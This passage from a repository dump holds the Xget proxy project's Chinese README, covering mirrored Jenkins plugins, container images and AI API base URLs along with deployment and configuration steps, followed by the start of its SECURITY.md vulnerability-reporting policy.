Jenkins 部署\n\n對於無網路環境的 Jenkins 部署：\n\n```bash\n# 1. 下載 Jenkins 核心檔案\nwget https://xget.xi-xu.me/jenkins/war/jenkins.war\n\n# 2. 建立外掛程式打包指令碼\ncat > prepare_jenkins_offline.sh << 'EOF'\n#!/bin/bash\n\n# 建立離線部署目錄結構\nmkdir -p jenkins_offline/{plugins,update_center}\n\n# 下載更新中心配置\ncurl -o jenkins_offline/update_center/update-center.json \\\n    https://xget.xi-xu.me/jenkins/update-center.json\n\n# 必備外掛程式列表\nessential_plugins=(\n    \"ant:475.vf34069fef73c\"\n    \"build-timeout:1.31\"\n    \"credentials:1319.v7eb_51b_3a_c97b_\"\n    \"git:5.2.1\"\n    \"github:1.38.0\"\n    \"gradle:2.8.2\"\n    \"ldap:682.v7b_544c9d1512\"\n    \"mailer:463.vedf8358e006b_\"\n    \"matrix-auth:3.2.2\"\n    \"maven-plugin:3.27\"\n    \"pam-auth:1.10\"\n    \"pipeline-stage-view:2.34\"\n    \"ssh-slaves:2.973.v0fa_8c0dea_f9f\"\n    \"timestamper:1.26\"\n    \"workflow-aggregator:596.v8c21c963d92d\"\n    \"ws-cleanup:0.45\"\n)\n\n# 下載所有必備外掛程式\nfor plugin in \"${essential_plugins[@]}\"; do\n    name=$(echo $plugin | cut -d: -f1)\n    version=$(echo $plugin | cut -d: -f2)\n    echo \"下載 $name:$version\"\n    wget -P jenkins_offline/plugins \\\n        \"https://xget.xi-xu.me/jenkins/download/plugins/$name/$version/$name.hpi\"\ndone\n\n# 建立部署說明\ncat > jenkins_offline/deploy_instructions.md << 'DEPLOY'\n# Jenkins 離線部署說明\n\n1. 將 jenkins.war 複製到目標伺服器\n2. 啟動 Jenkins：java -jar jenkins.war\n3. 將 plugins/ 目錄中的 .hpi 檔案複製到 $JENKINS_HOME/plugins/\n4. 重啟 Jenkins\nDEPLOY\n\necho \"離線部署包準備完成！\"\nEOF\n\nchmod +x prepare_jenkins_offline.sh\n./prepare_jenkins_offline.sh\n```\n\n#### 在專案中使用\n\n##### Jenkinsfile 中的外掛程式檢查\n\n```groovy\npipeline {\n    agent any\n\n    stages {\n        stage('Check Plugin Availability') {\n            steps {\n                script {\n                    // 檢查 Maven 外掛程式可用性\n                    def pluginUrl = \"https://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi\"\n\n                    try {\n                        def response = httpRequest url: pluginUrl, httpMode: 'HEAD'\n                        if (response.status == 200) {\n                            echo \"Maven 外掛程式可用: ${pluginUrl}\"\n                        }\n                    } catch (Exception e) {\n                        error \"Maven 外掛程式不可用: ${e.message}\"\n                    }\n                }\n            }\n        }\n\n        stage('Build') {\n            steps {\n                // 您的建置步驟\n                echo \"使用加速後的外掛程式進行建置...\"\n            }\n        }\n    }\n}\n```\n\n### 容器鏡像加速\n\n#### 直接拉取鏡像\n\n```bash\n# 拉取 GitHub 容器註冊表鏡像\ndocker pull xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest\n\n# 拉取 Google 容器註冊表鏡像\ndocker pull xget.xi-xu.me/cr/gcr/distroless/base:latest\n\n# 拉取 Microsoft 容器註冊表鏡像\ndocker pull xget.xi-xu.me/cr/mcr/dotnet/runtime:8.0\n```\n\n#### Kubernetes 部署配置\n\n```yaml\n# deployment.yaml - 使用 Xget 的鏡像\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: nginx-deployment\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: nginx\n  template:\n    metadata:\n      labels:\n        app: nginx\n    spec:\n      containers:\n        - name: nginx\n          image: xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest\n          ports:\n            - containerPort: 80\n        - name: redis\n          image: xget.xi-xu.me/cr/ghcr/bitnami/redis:alpine\n          ports:\n            - containerPort: 6379\n```\n\n#### Docker Compose 配置\n\n```yaml\n# docker-compose.yml - 使用 Xget 加速鏡像\nversion: '3.8'\nservices:\n  web:\n    image: xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest\n    ports:\n      - '80:80'\n    volumes:\n      - ./html:/usr/share/nginx/html\n\n  database:\n    image: xget.xi-xu.me/cr/mcr/mssql/server:2022-latest\n    environment:\n      ACCEPT_EULA: Y\n      SA_PASSWORD: 'MyStrongPassword123!'\n    volumes:\n      - mssql_data:/var/opt/mssql\n\n  cache:\n    image: xget.xi-xu.me/cr/ghcr/bitnami/redis:alpine\n    ports:\n      - '6379:6379'\n\nvolumes:\n  mssql_data:\n```\n\n#### Dockerfile 最佳化\n\n```dockerfile\n# 在 Dockerfile 中使用 Xget 加速基礎鏡像\nFROM xget.xi-xu.me/cr/ghcr/nodejs/node:18-alpine AS builder\n\nWORKDIR /app\nCOPY package*.json ./\nRUN npm install\n\nCOPY . .\nRUN npm run build\n\n# 生產階段\nFROM xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest\nCOPY --from=builder /app/dist /usr/share/nginx/html\n\n# 使用 Microsoft 容器註冊表的 .NET 鏡像\nFROM xget.xi-xu.me/cr/mcr/dotnet/aspnet:8.0 AS runtime\nWORKDIR /app\nCOPY --from=builder /app/publish .\nENTRYPOINT [\"dotnet\", \"MyApp.dll\"]\n```\n\n#### CI/CD 整合\n\n```yaml\n# GitHub Actions - 使用 Xget 加速容器建置\nname: Build and Deploy\non: [push]\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n\n      - name: Build with accelerated base images\n        run: |\n          # 建置時使用 Xget 的基礎鏡像\n          docker build -t myapp:latest \\\n            --build-arg BASE_IMAGE=xget.xi-xu.me/cr/ghcr/nodejs/node:18-alpine .\n\n      - name: Test with accelerated images\n        run: |\n          # 使用加速鏡像進行測試\n          docker run --rm \\\n            xget.xi-xu.me/cr/mcr/dotnet/runtime:8.0 \\\n            dotnet --version\n```\n\n#### Podman 配置\n\n```bash\n# 配置 Podman 使用 Xget 鏡像加速\n# 編輯 /etc/containers/registries.conf\n[[registry]]\nprefix = \"ghcr.io\"\nlocation = \"xget.xi-xu.me/cr/ghcr\"\n\n# 或者直接拉取\npodman pull xget.xi-xu.me/cr/ghcr/alpine/alpine:latest\npodman pull xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest\n```\n\n#### containerd 配置\n\n```toml\n# 配置 containerd 使用 Xget\n# 編輯 /etc/containerd/config.toml\n[plugins.\"io.containerd.grpc.v1.cri\".registry.mirrors]\n  [plugins.\"io.containerd.grpc.v1.cri\".registry.mirrors.\"ghcr.io\"]\n    endpoint = [\"https://xget.xi-xu.me/cr/ghcr\"]\n  [plugins.\"io.containerd.grpc.v1.cri\".registry.mirrors.\"gcr.io\"]\n    endpoint = [\"https://xget.xi-xu.me/cr/gcr\"]\n```\n\n```bash\n# 重啟 containerd\nsudo systemctl restart containerd\n```\n\n### AI 推理 API 加速\n\n#### OpenAI API\n\n```python\nfrom openai import OpenAI\n\nclient = OpenAI(\n    api_key=\"your-api-key\",\n    base_url=\"https://xget.xi-xu.me/ip/openai/v1\",  # 使用 Xget\n)\n\nresponse = client.responses.create(\n    model=\"gpt-5.1\",\n    input=\"Hello, GPT!\",\n)\n\nprint(response.output_text)\n```\n\n#### Claude API\n\n```python\nfrom anthropic import Anthropic\n\nclient = Anthropic(\n    api_key=\"your-api-key\",\n    base_url=\"https://xget.xi-xu.me/ip/anthropic\",  # 使用 Xget\n)\n\nmessage = client.messages.create(\n    model=\"claude-sonnet-4-5\",\n    max_tokens=256,\n    messages=[\n        {\n            \"role\": \"user\",\n            \"content\": \"Hello, Claude!\",\n        }\n    ],\n)\n\nprint(message.content[0].text)\n```\n\n#### Gemini API\n\n```python\nfrom google import genai\nfrom google.genai import types\n\nclient = genai.Client(\n    api_key=\"your-api-key\",\n    http_options=types.HttpOptions(base_url=\"https://xget.xi-xu.me/ip/gemini\"),  # 使用 Xget\n)\n\nresponse = client.models.generate_content(\n    model=\"gemini-3-pro-preview\",\n    contents=\"Hello, Gemini!\",\n)\n\nprint(response.text)\n```\n\n#### 多供應商統一介面\n\n```python\nfrom openai import OpenAI\n\nproviders = [\n    (\"Cohere\",  \"your-cohere-api-key\",  \"/cohere/compatibility/v1\", \"command-a-03-2025\"),\n    (\"Mistral\", \"your-mistral-api-key\", \"/mistralai/v1\",            \"mistral-medium-latest\"),\n    (\"xAI\",     \"your-xai-api-key\",     \"/xai/v1\",                  \"grok-4\"),\n]\n\nfor name, key, path, model in providers:\n    client = OpenAI(api_key=key, base_url=\"https://xget.xi-xu.me/ip\" + path)  # 使用 Xget\n    response = client.chat.completions.create(\n        model=model,\n        messages=[{\"role\": \"user\", \"content\": f\"Hello, who are you?\"}],\n    )\n    print(name, \"=>\", response.choices[0].message.content)\n```\n\n#### JavaScript/Node.js 中使用\n\n```javascript\n// OpenAI API 加速\nimport OpenAI from 'openai';\n\nconst openaiClient = new OpenAI({\n  apiKey: 'your-openai-api-key',\n  baseURL: 'https://xget.xi-xu.me/ip/openai/v1' // 使用 Xget\n});\n\nasync function chatWithGPT() {\n  const response = await openaiClient.responses.create({\n    model: 'gpt-5.1',\n    input: 'Hello, GPT!'\n  });\n\n  console.log(response.output_text);\n}\n\n// Claude API 加速\nimport Anthropic from '@anthropic-ai/sdk';\n\nconst anthropicClient = new Anthropic({\n  apiKey: 'your-claude-api-key',\n  baseURL: 'https://xget.xi-xu.me/ip/anthropic' // 使用 Xget\n});\n\nasync function chatWithClaude() {\n  const message = await anthropicClient.messages.create({\n    model: 'claude-sonnet-4-5',\n    max_tokens: 256,\n    messages: [\n      {\n        role: 'user',\n        content: 'Hello, Claude!'\n      }\n    ]\n  });\n\n  console.log(message.content[0].text);\n}\n\n// Gemini API 加速\nimport { GoogleGenAI } from '@google/genai';\n\nconst geminiClient = new GoogleGenAI({\n  apiKey: 'your-gemini-api-key'\n});\n\nasync function chatWithGemini() {\n  const response = await geminiClient.models.generateContent({\n    model: 'gemini-3-pro-preview',\n    contents: 'Hello, Gemini!',\n    config: {\n      httpOptions: {\n        baseUrl: 'https://xget.xi-xu.me/ip/gemini' // 使用 Xget\n      }\n    }\n  });\n\n  console.log(response.text);\n}\n```\n\n#### 環境變數配置\n\n```bash\n# 在 .env 檔案中配置\nOPENAI_BASE_URL=https://xget.xi-xu.me/ip/openai\nANTHROPIC_BASE_URL=https://xget.xi-xu.me/ip/anthropic\nGEMINI_BASE_URL=https://xget.xi-xu.me/ip/gemini\nCOHERE_BASE_URL=https://xget.xi-xu.me/ip/cohere\nMISTRAL_AI_BASE_URL=https://xget.xi-xu.me/ip/mistralai\nGROQ_BASE_URL=https://xget.xi-xu.me/ip/groq\n```\n\n然後在程式碼中使用：\n\n```python\nimport os\nfrom openai import OpenAI\n\n# 從環境變數讀取配置\nclient = OpenAI(\n    api_key=os.getenv(\"OPENAI_API_KEY\"),\n    base_url=os.getenv(\"OPENAI_BASE_URL\")  # 自動使用 Xget\n)\n```\n\n## 🚀 部署\n\n### 部署到 Cloudflare Workers\n\n1. **fork 本儲存庫**：[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)\n\n2. **獲取 Cloudflare 憑證**：\n   - 存取[帳戶 API 權杖](https://dash.cloudflare.com/?to=/:account/api-tokens)建立並記錄 API 權杖，使用「編輯 Cloudflare\n     Workers」範本\n   - 存取\n     [Workers 和 Pages](https://dash.cloudflare.com/?to=/:account/workers-and-pages)\n     記錄 Account ID\n\n3. **配置 GitHub Secrets**：\n   - 進入您的 GitHub 儲存庫 → Settings → Secrets and variables → Actions\n   - 新增以下 secrets：\n     - `CLOUDFLARE_API_TOKEN`：您的 API 權杖\n     - `CLOUDFLARE_ACCOUNT_ID`：您的 Account ID\n\n4. **觸發部署**：\n   - 推送程式碼到 `main` 分支會自動觸發部署\n   - 僅修改文件檔案（`.md`）、`LICENSE`、`.gitignore` 等不會觸發部署\n   - 也可以在 GitHub Actions 頁面手動觸發部署\n\n5. **綁定自訂網域**（可選）：在 Cloudflare Workers 控制台中綁定您的自訂網域\n\n### 部署到 Cloudflare Pages\n\n1. **fork 本儲存庫**：[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)\n\n2. **獲取 Cloudflare 憑證**：\n   - 存取[帳戶 API 權杖](https://dash.cloudflare.com/?to=/:account/api-tokens)建立並記錄 API 權杖，使用「編輯 Cloudflare\n     Workers」範本\n   - 存取\n     [Workers 和 Pages](https://dash.cloudflare.com/?to=/:account/workers-and-pages)\n     記錄 Account ID\n\n3. **配置 GitHub Secrets**：\n   - 進入您的 GitHub 儲存庫 → Settings → Secrets and variables → Actions\n   - 新增以下 secrets：\n     - `CLOUDFLARE_API_TOKEN`：您的 API 權杖\n     - `CLOUDFLARE_ACCOUNT_ID`：您的 Account ID\n\n4. **觸發部署**：\n   - 儲存庫會自動將 Workers 程式碼轉換為 Pages 相容格式並同步到 `pages` 分支\n   - 推送程式碼到 `main` 分支會自動觸發同步和部署工作流程\n   - 僅修改文件檔案（`.md`）、`LICENSE`、`.gitignore` 等不會觸發部署\n   - 也可以在 GitHub Actions 頁面手動觸發部署\n\n5. **綁定自訂網域**（可選）：在 Cloudflare Pages 控制台中綁定您的自訂網域\n\n**注意**：`pages` 分支是從 `main` 分支自動生成的。請勿手動編輯 `pages`\n分支，因為它會被同步工作流程覆蓋。\n\n### 部署到 EdgeOne Pages\n\n1. **fork 本儲存庫**：[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)\n\n2. **獲取 EdgeOne Pages API Token**：\n   - 存取[中國站 EdgeOne 控制台](https://console.cloud.tencent.com/edgeone/pages?tab=api)或[國際站 EdgeOne 控制台](https://console.tencentcloud.com/edgeone/pages?tab=api)建立並記錄 API\n     Token\n\n3. **配置 GitHub Secrets**：\n   - 進入您的 GitHub 儲存庫 → Settings → Secrets and variables → Actions\n   - 新增以下 secret：\n     - `EDGEONE_API_TOKEN`：您的 API Token\n\n4. **觸發部署**：\n   - 儲存庫會自動將 Workers 程式碼轉換為 Pages 相容格式並同步到 `pages` 分支\n   - 推送程式碼到 `main` 分支會自動觸發同步和部署工作流程\n   - 僅修改文件檔案（`.md`）、`LICENSE`、`.gitignore` 等不會觸發部署\n   - 也可以在 GitHub Actions 頁面手動觸發部署\n\n5. **綁定自訂網域**（可選）：在 EdgeOne Pages 控制台中綁定您的自訂網域\n\n**注意**：`pages` 分支是從 `main` 分支自動生成的。請勿手動編輯 `pages`\n分支，因為它會被同步工作流程覆蓋。\n\n### 部署到 Vercel\n\n1. **fork 本儲存庫**：[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)\n\n2. **獲取 Vercel 憑證**：\n   - 存取 [Vercel Account Settings](https://vercel.com/account/settings/tokens)\n     建立並記錄 Access Token\n   - 存取 Team Settings 記錄 Team ID\n   - 新建專案後存取專案的 Settings 記錄 Project ID\n\n3. **配置 GitHub Secrets**：\n   - 進入您的 GitHub 儲存庫 → Settings → Secrets and variables → Actions\n   - 新增以下 secrets：\n     - `VERCEL_TOKEN`：您的 Access Token\n     - `VERCEL_ORG_ID`：您的 Team ID\n     - `VERCEL_PROJECT_ID`：您的 Project ID\n\n4. **觸發部署**：\n   - 儲存庫會自動將 Workers 程式碼轉換為 Functions 相容格式並同步到 `functions`\n     分支\n   - 推送程式碼到 `main` 分支會自動觸發同步和部署工作流程\n   - 僅修改文件檔案（`.md`）、`LICENSE`、`.gitignore` 等不會觸發部署\n   - 也可以在 GitHub Actions 頁面手動觸發部署\n\n5. **綁定自訂網域**（可選）：在 Vercel 控制台中綁定您的自訂網域\n\n**注意**：`functions` 分支是從 `main` 分支自動生成的。請勿手動編輯 `functions`\n分支，因為它會被同步工作流程覆蓋。\n\n### 部署到 Netlify\n\n1. **fork 本儲存庫**：[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)\n\n2. **獲取 Netlify 憑證**：\n   - 存取 [Netlify User Settings](https://app.netlify.com/user/applications)\n     建立並記錄 personal access token\n   - 新建專案後存取 Project configuration 記錄 Project ID\n\n3. **配置 GitHub Secrets**：\n   - 進入您的 GitHub 儲存庫 → Settings → Secrets and variables → Actions\n   - 新增以下 secrets：\n     - `NETLIFY_AUTH_TOKEN`：您的 personal access token\n     - `NETLIFY_SITE_ID`：您的 Project ID\n\n4. **觸發部署**：\n   - 儲存庫會自動將 Workers 程式碼轉換為 Functions 相容格式並同步到 `functions`\n     分支\n   - 推送程式碼到 `main` 分支會自動觸發同步和部署工作流程\n   - 僅修改文件檔案（`.md`）、`LICENSE`、`.gitignore` 等不會觸發部署\n   - 也可以在 GitHub Actions 頁面手動觸發部署\n\n5. **綁定自訂網域**（可選）：在 Netlify 控制台中綁定您的自訂網域\n\n**注意**：`functions` 分支是從 `main` 分支自動生成的。請勿手動編輯 `functions`\n分支，因為它會被同步工作流程覆蓋。\n\n### 部署到 Deno Deploy\n\n1. **fork 本儲存庫**：[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)\n\n2. **切換預設分支**：\n   - 進入您的 GitHub 儲存庫 → Settings → General → Default branch\n   - 將預設分支從 `main` 切換到 `functions`\n\n3. **部署到 Deno Deploy**：\n   - 參考\n     [Deno Deploy 官方文件](https://docs.deno.com/deploy/getting_started/)執行部署\n   - 在 Deno Deploy 控制台建立新專案並連接您的 GitHub 儲存庫\n\n4. **綁定自訂網域**（可選）：在 Deno Deploy 控制台中綁定您的自訂網域\n\n**注意**：`functions` 分支是從 `main` 分支自動生成的。請勿手動編輯 `functions`\n分支，因為它會被同步工作流程覆蓋。\n\n### 自託管部署\n\n如果您希望在自己的伺服器上執行 Xget，可以使用 Docker 或 Podman 部署：\n\n#### 使用預先建置鏡像\n\n從 GitHub Container Registry 拉取並執行預先建置的鏡像：\n\n**使用 Docker:**\n\n```bash\n# 拉取最新鏡像\ndocker pull ghcr.io/xixu-me/xget:latest\n\n# 執行容器\ndocker run -d \\\n  --name xget \\\n  -p 8080:8080 \\\n  ghcr.io/xixu-me/xget:latest\n```\n\n**使用 Podman:**\n\n```bash\n# 拉取最新鏡像\npodman pull ghcr.io/xixu-me/xget:latest\n\n# 執行容器\npodman run -d \\\n  --name xget \\\n  -p 8080:8080 \\\n  ghcr.io/xixu-me/xget:latest\n```\n\n#### 本地建置\n\n從原始碼建置容器鏡像：\n\n**使用 Docker:**\n\n```bash\n# 克隆儲存庫\ngit clone https://github.com/xixu-me/Xget.git\ncd Xget\n\n# 建置鏡像\ndocker build -t xget:local .\n\n# 執行容器\ndocker run -d \\\n  --name xget \\\n  -p 8080:8080 \\\n  xget:local\n```\n\n**使用 Podman:**\n\n```bash\n# 克隆儲存庫\ngit clone https://github.com/xixu-me/Xget.git\ncd Xget\n\n# 建置鏡像\npodman build -t xget:local .\n\n# 執行容器\npodman run -d \\\n  --name xget \\\n  -p 8080:8080 \\\n  xget:local\n```\n\n#### 使用 Docker Compose / Podman Compose\n\n建立 `docker-compose.yml` 檔案：\n\n```yaml\nversion: '3.8'\n\nservices:\n  xget:\n    image: ghcr.io/xixu-me/xget:latest\n    container_name: xget\n    ports:\n      - '8080:8080'\n    restart: unless-stopped\n```\n\n**使用 Docker Compose:**\n\n```bash\ndocker compose up -d\n```\n\n**使用 Podman Compose:**\n\n```bash\npodman compose up -d\n```\n\n部署完成後，Xget 將在 8080 連接埠執行。\n\n如果您希望在 DigitalOcean 上部署和執行 Xget，可以參考文件[《Deploying and Optimizing Xget on DigitalOcean》](docs/deploy-on-digitalocean.md)。透過下方推薦連結註冊帳戶，可獲得 200 美元代金券積分，可用於建立 Droplet、Kubernetes、App\nPlatform 等資源：\n\n<p>\n  <a href=\"https://m.do.co/c/7efe110ca23f\">\n    <img src=\"https://opensource.nyc3.cdn.digitaloceanspaces.com/attribution/assets/PoweredByDO/DO_Powered_by_Badge_blue.svg\" width=\"201px\">\n  </a>\n</p>\n\n**注意**：自託管部署不包括全球邊緣網路加速，效能取決於您的伺服器配置和網路環境。\n\n## 🔧 配置\n\n### 配置參數\n\n您可以透過修改 `src/config/index.js` 來自訂配置：\n\n```javascript\nexport const CONFIG = {\n  TIMEOUT_SECONDS: 30, // 請求逾時時間（秒）\n  MAX_RETRIES: 3, // 最大重試次數\n  RETRY_DELAY_MS: 1000, // 重試延遲時間（毫秒）\n  CACHE_DURATION: 1800, // 快取持續時間（1800秒 = 30分鐘）\n  SECURITY: {\n    ALLOWED_METHODS: ['GET', 'HEAD'], // 常規請求的基礎允許清單；協定流量內建了更寬的允許範圍\n    ALLOWED_ORIGINS: ['*'], // 允許的 CORS 來源\n    MAX_PATH_LENGTH: 2048 // 最大路徑長度（字元）\n  }\n};\n```\n\n### 效能調優建議\n\n- **快取最佳化**：根據使用模式調整 `CACHE_DURATION`，頻繁更新的儲存庫可適當降低\n- **逾時設定**：網路條件較差時可適當增加 `TIMEOUT_SECONDS`\n- **重試策略**：高延遲環境下可增加 `MAX_RETRIES` 和 `RETRY_DELAY_MS`\n\n### 新增新平台\n\n要新增對新平台的支援，請更新平台目錄；如果需要特殊路徑轉換，再補上轉換器：\n\n```javascript\n// src/config/platform-catalog.js\nexport const PLATFORM_CATALOG = {\n  // 現有平台...\n  custom: 'https://example.com'\n};\n\n// src/routing/platform-transformers.js\nconst PLATFORM_PATH_TRANSFORMERS = {\n  custom: path => path.replace(/^\\/custom\\//, '/')\n};\n```\n\n## 🚧 開發\n\n1. **儲存庫設定**\n\n   ```bash\n   git clone https://github.com/xixu-me/Xget.git\n   cd Xget\n   npm install\n   npx wrangler login  # 首次使用\n   ```\n\n2. **本地開發**\n\n   ```bash\n   npm run dev              # 啟動開發伺服器 (http://localhost:8787)\n   npm run test:run         # 執行完整測試套件\n   npm run test:coverage    # 生成測試覆蓋率報告\n   npm run lint             # 程式碼檢查\n   npm run format           # 程式碼格式化\n   npm run deploy           # 部署到生產環境\n   ```\n\n## 🧪 測試\n\n儲存庫包含完整的測試套件，確保程式碼品質和功能正確性。\n\n### 完整測試\n\n```bash\n# 安裝測試依賴項\nnpm install\n\n# 執行所有測試\nnpm run test:run\n\n# 生成覆蓋率報告\nnpm run test:coverage\n\n# 監視模式\nnpm run test:watch\n```\n\n### 測試覆蓋\n\n- **單元測試**: 核心功能、平台配置、效能監控\n- **整合測試**: 端到端流程、平台整合、Git 協定\n- **安全測試**: 輸入驗證、安全標頭、權限控制\n- **效能測試**: 回應時間、記憶體使用、並行處理\n\n## 🔍 故障排除\n\n### 常見問題\n\n**Q: 下載速度沒有明顯提升？**\nA: 檢查來源檔案是否已經在 CDN 邊緣節點快取，首次存取可能較慢，後續存取會顯著提升。\n\n**Q: Git 操作失敗？**\nA: 確認使用了正確的 URL 格式，且 Git 用戶端版本支援 HTTPS 代理。\n\n**Q: 部署後無法存取？** A: 檢查 Cloudflare Workers 網域是否正確綁定，確認\n`wrangler.toml` 配置正確。\n\n**Q: 出現 400 錯誤？** A: 檢查 URL 路徑格式，確認平台前綴正確使用。\n\n### 效能監控\n\n在回應標頭中返回效能指標：\n\n- `X-Performance-Metrics`: 包含請求各階段的耗時統計\n- `X-Cache-Status`: 顯示快取命中狀態\n\n### 日誌除錯\n\n在開發環境中，您可以透過 Cloudflare Workers 控制台檢視詳細日誌：\n\n```bash\nnpx wrangler dev --log-level debug\n```\n\n## ⚠️ 免責聲明\n\n- **合法合規使用**：本儲存庫旨在為程式碼儲存庫、軟體包註冊表、AI 推理 API、容器鏡像、模型、資料集及更多合法開發者資源提供統一加速服務。使用者應嚴格遵守所在司法管轄區法律法規及相關平台服務條款，任何非法用途的法律責任由使用者自行承擔\n- **非關聯性與獨立責任**：本儲存庫與各第三方平台不存在任何隸屬、代理或合作關係。任何基於本儲存庫的 fork、二次開發、再分發或衍生版本均由其維護者獨立承擔全部責任；作者、維護者及貢獻者不對衍生儲存庫的任何行為或後果承擔法律或連帶責任\n- **無擔保與免責條款**：在適用法律允許的最大範圍內，本儲存庫按「現狀（AS\n  IS）」提供，不提供任何明示或暗示擔保（包括但不限於適銷性、特定用途適用性、非侵權等）。對因使用本儲存庫而造成的任何直接或間接損失（包括但不限於資料遺失、業務中斷、利潤損失等），作者、維護者及貢獻者不承擔任何責任\n- **風險自擔原則**：使用者應自行評估使用風險，確保其使用行為合法合規，不侵犯第三方權益，不得將本儲存庫用於任何違法、侵權、惡意或不當用途\n- **第三方平台合規**：使用者應遵守相關平台的服務條款、API 使用政策、速率限制及版權要求，避免對源平台造成過載或干擾。各平台對其內容、服務及政策擁有最終解釋權\n- **智慧財產權保護**：透過本儲存庫獲取的內容受相應版權法保護。使用者應遵守相關許可協議、版權聲明及使用條款，不得從事任何侵犯智慧財產權的行為\n- **安全防護建議**：雖然本儲存庫採用無日誌架構，不儲存使用者請求資料，但基於網際網路傳輸的固有風險，建議使用者對下載內容進行安全掃描，尤其對可執行檔案、指令碼等保持謹慎\n- **開源性質聲明**：本儲存庫為開源專案，作者與貢獻者不承擔提供技術支援、錯誤修復或持續維護的義務。外部貢獻的合併不代表對特定用途或效果的承諾與背書\n- **名稱使用規範**：嚴禁任何可能暗示作者或貢獻者提供商業合作、技術支援、擔保或背書的表述。涉及儲存庫名稱或作者標識的使用應遵循相關法律法規及通用規範\n- **免責聲明更新**：本免責聲明可能隨儲存庫發展或法律環境變化進行更新修訂。使用者繼續使用、複製、分發或修改本儲存庫即視為接受最新版本的免責聲明\n\n## 🤝 貢獻\n\n我們歡迎各種形式的貢獻！請檢視[貢獻指南](CONTRIBUTING.md)了解如何參與儲存庫開發。\n\n1. **報告問題**: 使用\n   [issue 範本](https://github.com/xixu-me/Xget/issues/new/choose)報告 bug 或提出功能請求\n2. **提交程式碼**: fork 儲存庫，建立功能分支，提交 pull request\n3. **改進文件**: 修正錯誤、新增範例、完善說明\n4. **測試反饋**: 在不同環境下測試並提供反饋\n\n## 🌟 Star 歷史\n\n<a href=\"https://www.star-history.com/#xixu-me/Xget&Date\">\n <picture>\n   <source media=\"(prefers-color-scheme: dark)\" srcset=\"https://api.star-history.com/svg?repos=xixu-me/Xget&type=Date&theme=dark\" />\n   <source media=\"(prefers-color-scheme: light)\" srcset=\"https://api.star-history.com/svg?repos=xixu-me/Xget&type=Date\" />\n   <img alt=\"Star History Chart\" src=\"https://api.star-history.com/svg?repos=xixu-me/Xget&type=Date\" />\n </picture>\n</a>\n\n## 📝 許可證\n\n版權所有 &copy; Xi Xu。\n\n本儲存庫採用 AGPL-3.0 許可證 - 檢視 [LICENSE](LICENSE) 檔案了解詳情。\n\n---\n\n<div align=\"center\">\n\n**如果這個儲存庫對您有幫助，請考慮給它一個 ⭐ star！**\n\nMade with ❤️ by [Xi Xu](https://xi-xu.me)\n\n</div>\n"
  },
  {
    "path": "SECURITY.md",
    "content": "# 安全政策\n\n## 🔒 支持的版本\n\n我们为以下版本提供安全更新：\n\n| 版本 | 支持状态 |\n| --- | --- |\n| 最新版本 | ✅ |\n| 开发版本 | ⚠️ 仅限测试 |\n\n## 🚨 报告安全漏洞\n\n如果您发现了安全漏洞，请**不要**通过公开的 GitHub Issues 报告。相反，请通过以下方式私下联系我们：\n\n### 联系方式\n\n- **邮箱**: <i@xi-xu.me>\n- **主题**: [SECURITY] Xget 安全漏洞报告\n\n### 报告内容\n\n请在报告中包含以下信息：\n\n1. **漏洞描述**: 详细描述发现的安全问题\n2. **影响范围**: 说明漏洞可能造成的影响\n3. **重现步骤**: 提供详细的重现步骤\n4. **环境信息**: 包括版本、平台、配置等\n5. **建议修复**: 如果有修复建议请一并提供\n\n### 响应时间\n\n- **确认收到**: 24 小时内\n- **初步评估**: 72 小时内\n- **详细分析**: 7 天内\n- **修复发布**: 根据严重程度，通常在 14-30 天内\n\n## 🛡️ 安全特性\n\n### 传输安全\n\n- **强制 HTTPS**: 所有通信均通过 HTTPS 加密\n- **HSTS 头**: 防止协议降级攻击\n- **安全传输**: 使用现代 TLS 协议\n\n### 请求安全\n\n- **方法限制**: 严格的 HTTP 方法白名单\n- **路径验证**: 防止路径遍历攻击\n- **长度限制**: URL 长度限制防止缓冲区溢出\n- **超时保护**: 30 秒请求超时防止资源耗尽\n\n### 内容安全\n\n- **CSP 头**: 严格的内容安全策略\n- **XSS 防护**: 内置跨站脚本攻击防护\n- **点击劫持防护**: X-Frame-Options 头防止嵌入\n- **引用策略**: 控制 HTTP 引用信息\n\n### 输入验证\n\n- **参数清理**: 所有输入参数严格验证\n- **编码处理**: 正确的字符编码处理\n- **注入防护**: 防止各类注入攻击\n\n## 🔍 安全最佳实践\n\n### 部署安全\n\n1. **环境隔离**: 生产环境与开发环境严格分离\n2. **访问控制**: 最小权限原则\n3. **监控日志**: 启用详细的安全日志记录\n4. **定期更新**: 及时更新依赖和运行时\n\n### 配置安全\n\n1. **敏感信息**: 使用环境变量存储敏感配置\n2. **CORS 设置**: 合理配置跨域资源共享\n3. **缓存策略**: 避免缓存敏感信息\n4. **错误处理**: 不暴露内部实现细节\n\n### 使用安全\n\n1. **域名验证**: 确保使用可信的部署域名\n2. **定期检查**: 定期检查服务状态和日志\n3. **版本更新**: 及时更新到最新安全版本\n4. **备份恢复**: 建立完善的备份和恢复机制\n\n## 📋 安全检查清单\n\n### 部署前检查\n\n- [ ] 所有依赖项已更新到最新版本\n- [ ] 安全头配置正确\n- [ ] 环境变量配置安全\n- [ ] CORS 策略配置合理\n- [ ] 日志记录已启用\n\n### 运行时监控\n\n- [ ] 异常请求监控\n- [ ] 性能指标监控\n- [ ] 错误率监控\n- [ ] 资源使用监控\n\n### 定期维护\n\n- [ ] 依赖项安全扫描\n- [ ] 代码安全审计\n- [ ] 配置安全检查\n- [ ] 日志分析\n\n## 🚀 安全更新\n\n### 更新通知\n\n安全更新将通过以下渠道发布：\n\n- GitHub Releases\n- 存储库 README\n- 